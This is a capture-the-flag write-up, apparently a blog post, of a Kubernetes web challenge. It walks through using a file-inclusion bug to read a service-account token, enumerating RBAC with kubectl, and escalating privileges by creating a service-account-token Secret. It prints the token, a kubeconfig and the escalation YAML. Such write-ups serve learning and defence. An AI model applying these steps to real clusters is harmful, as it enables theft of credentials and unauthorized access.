Intro

This challenge was proposed by HackArcana, for a limited duration during the month of May 2026.
The goal was to exploit a web vulnerability to retrieve info about the environment, which, luckily for me, was Kubernetes (K8).
It was a good intro to this area, and I learned about some K8 concepts that I discovered step by step.

The challenge

My picture

The challenge was divided into 5 steps, with some indications for each of them.

Step 0: Recon

The website to visit was https://one.ctf.weakweb.cc/

My picture

With only one static page, I quickly noticed a file inclusion in the URL.

My picture

And I got the first flag by submitting this local file: /run/flag0/flag0-8faf2e44.txt

My picture

Step 1: Foothold

My picture

The resource given was a link to the kubectl tool, which is a client for your K8 instance: https://kubernetes.io/docs/reference/kubectl/generated/kubectl_auth/kubectl_auth_can-i/

The option auth can-i from kubectl can give me, for example, which resources I have access or rights to, which is very useful for recon and enumeration.
After trying the kubectl auth can-i --list command and getting some errors about my localhost, I remembered the template of the config file given in Step 0, which I would need to complete and use to connect to the K8 challenge instance from kubectl.

The Config File

So I needed a DOMAIN, a NAMESPACE, and a TOKEN.

For the two other attributes, I had no idea. So I looked up some K8 enumeration techniques on Google and found this: https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html

They listed the default location for the Service Account, which is a K8 object used to run the pod process.

Using my LFI:

My picture

My picture

And now I have a namespace and a token!

Let’s generate the configuration file for this ServiceAccount.

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://one.ctf.weakweb.cc:6443
  name: default
contexts:
- context:
    cluster: default
    namespace: bestit
    user: default
  name: default
current-context: default
kind: Config
users:
- name: default
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6Inc4S0hxamUycEhlUDZtbDVodjJralAxMnp4eGRlT0VEdElNNjNORFJlM0kifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODA5NzEzNDYyLCJpYXQiOjE3NzgxNzc0NjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZmVhMDQ2YjAtNzIwNS00ZTE2LWE0MzktMjQwNzcxYTQxOTVmIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJiZXN0aXQiLCJub2RlIjp7Im5hbWUiOiJvbmUiLCJ1aWQiOiI4N2Y4MmNkNC1kYWM4LTQxNDYtYTk3OS1lMzlkOGY1YjkzZWQifSwicG9kIjp7Im5hbWUiOiJiZXN0aXQtd2ViLTc4ODVjNjY4NDQtcXo2dDciLCJ1aWQiOiJjOGQ0MGJjNy05ZTVlLTQ5YjgtYTFhOC1iMTc4NWFmODBhMTAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InJlc3RyaWN0ZWQtdXNlci1zYSIsInVpZCI6IjhmOWU2MjA1LTEzODUtNDRiZS1iMDgxLTEwNTYyODRkMGYwYiJ9LCJ3YXJuYWZ0ZXIiOjE3NzgxODEwNjl9LCJuYmYiOjE3NzgxNzc0NjIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpiZXN0aXQ6cmVzdHJpY3RlZC11c2VyLXNhIn0.AyfP11Shj-hnYoSa8w0tklUePDXUIQ49C6Gh8X-k46IXZBfsMoslszvkPzTrnfCts-BkzbdBsWIO78d5p2ijE-6yhz_KWlsyT17debSKC7hviydw8TfyZsmhHm_NJVhrpSmDGQ2wXhH-WYPrJ0pNO9K46rYBUY_KWZFTIhHsrNO0XchSneZ4t9UCWkjkme2HBqu5eLOp-aco8pUEE23WZRqzlXW_-8O8z3CM6xuEFc5xvvJDMI6SoFA-rHANrm3VEVBne_DU9_BGWO7gqHs790ATvcvx0sa085PtWI0kbL3IA9MgdZ1ulwJvjmUJZXWgGDsyQpDUU1QvlLcG5m8zgw

Enumeration

Now, let’s enumerate the K8 instance.

kubectl auth can-i --list --kubeconfig config.yaml

My picture

After trying to access each of these, I understood that the last 3 ones would be the most interesting.
In K8, there are different resources on which you can perform actions (verbs in K8) like create, get, list, … (https://kubernetes.io/docs/reference/access-authn-authz/rbac/)

Here, I can get pods, but I can’t list them.
I can list ConfigMaps and ServiceAccounts, so let’s do this:

My picture My picture

We have 3 ServiceAccounts running in this K8 instance (I would guess that I am the restricted-user-sa for now), and a ConfigMap called bestit-config.
As a ConfigMap is a K8 object used to store some data as configuration for the pod, maybe I can find some interesting information in it.

Trying to access this ConfigMap, I got an error:

kubectl get configmap bestit-config -n bestit -o yaml --kubeconfig config.yaml

My picture

Whereas, when I tried to dump all the ConfigMaps at once, it worked!

kubectl get configmaps -n bestit -o yaml --kubeconfig config.yaml

My picture

Here I got the second flag!

Step 2: Elevation

My picture

Now, we would like to access the pod configuration, but we saw that we cannot list the pods, so we need to identify one to try making a get request on it.

After losing a lot of time on the possible ways to list the pods in K8, I realized that I hadn’t looked at our JWT token, which is the basis of authentication, especially for the K8 API.

echo "..." | base64 -d | jq

My picture

And here I got my user (which is the restricted-user-sa) and also the pod’s name!

"pod": {
      "name": "bestit-web-7885c66844-qz6t7",
      "uid": "c8d40bc7-9e5e-49b8-a1a8-b1785af80a10"
    }

Let’s get the pod configuration:

kubectl get pod bestit-web-7885c66844-qz6t7 -n bestit --kubeconfig config.yaml -o yaml

That’s a lot of info :p
It took me some time to read it entirely and understand which parts would be useful for me.

I tried to read some secrets listed inside:

kubectl get secret flag2-secret -n bestit --kubeconfig config.yaml -o yaml
Error from server (Forbidden): secrets "flag2-secret" is forbidden: User "system:serviceaccount:bestit:restricted-user-sa" cannot get resource "secrets" in API group "" in the namespace "bestit"

I finally saw that there was a file path in the config:

    - mountPath: /run/secret-manager-token
      name: token-volume
      [...]
- name: token-volume
    secret:
      defaultMode: 420
      items:
      - key: token
        path: manager-token
      secretName: secret-manager-token

And I used my LFI to read it:
My picture

Another token!

Decoding the Base64:

{"iss":"kubernetes/serviceaccount","kubernetes.io/serviceaccount/namespace":"bestit","kubernetes.io/serviceaccount/secret.name":"secret-manager-token","kubernetes.io/serviceaccount/service-account.name":"secret-manager-sa","kubernetes.io/serviceaccount/service-account.uid":"706aa7f5-7dce-4c73-91ee-7580f588b307","sub":"system:serviceaccount:bestit:secret-manager-sa"}

I am now secret-manager-sa.
I set up a new config file for this user and went back to the enumeration with kubectl auth can-i.

My picture

Nice! I can get secrets!

kubectl get secret flag2-secret -n bestit --kubeconfig config2.yaml -o yaml

My picture

And here is the 3rd flag!
HexA{1nter3sting-5ecret--wh4t-about-th3-oth3r-0ne}

Step 3: Escalation

My picture

Now, it seems obvious that I have to escalate to the third ServiceAccount: secret-lister-sa

Maybe you already saw it, but our current user has two rights on secrets: get and create.
I already used get, so let’s use create!

My idea was simple: create a secret for the third ServiceAccount, retrieve it, and use it to connect as this user.

This escalation technique is well known, and I found the example on HackTricks: https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#creating-and-reading-secrets

So I just reproduced these few steps to become secret-lister-sa.

kubectl apply -f escalation.yaml --kubeconfig config2.yaml

with my escalation.yaml:

apiVersion: v1
kind: Secret
metadata:
  name: ultime-token
  namespace: bestit
  annotations:
    kubernetes.io/service-account.name: secret-lister-sa 
type: kubernetes.io/service-account-token

Output:

secret/ultime-token created

Now, let’s read the secret I just created for secret-lister-sa.

kubectl get secret ultime-token -n bestit -o yaml --kubeconfig config2.yaml

Let’s decode the token.

echo "..." | base64 -d

Let’s copy this JWT token into a third config file and enumerate our new rights!

kubectl auth can-i --list -n bestit --kubeconfig config3.yaml 

My picture

Under secrets, I have list and get!

kubectl get secrets -n bestit --kubeconfig config3.yaml 

Among the many flags listed, there was this one: very-secret-flag-4fbb3f5a

kubectl get secret very-secret-flag-4fbb3f5a -n bestit --kubeconfig config3.yaml -o yaml

My picture

And here is the fourth flag :)
HexA{3scal8ed-t0-th3-t0p}

Conclusion

My picture

This was a nice intro to K8, learning that in the cloud, everything can be obtained from the API, and seeing how difficult it looks to maintain good Resource Access Control in a cloud environment. In large infrastructures, there are certainly many flaws related only to resource access!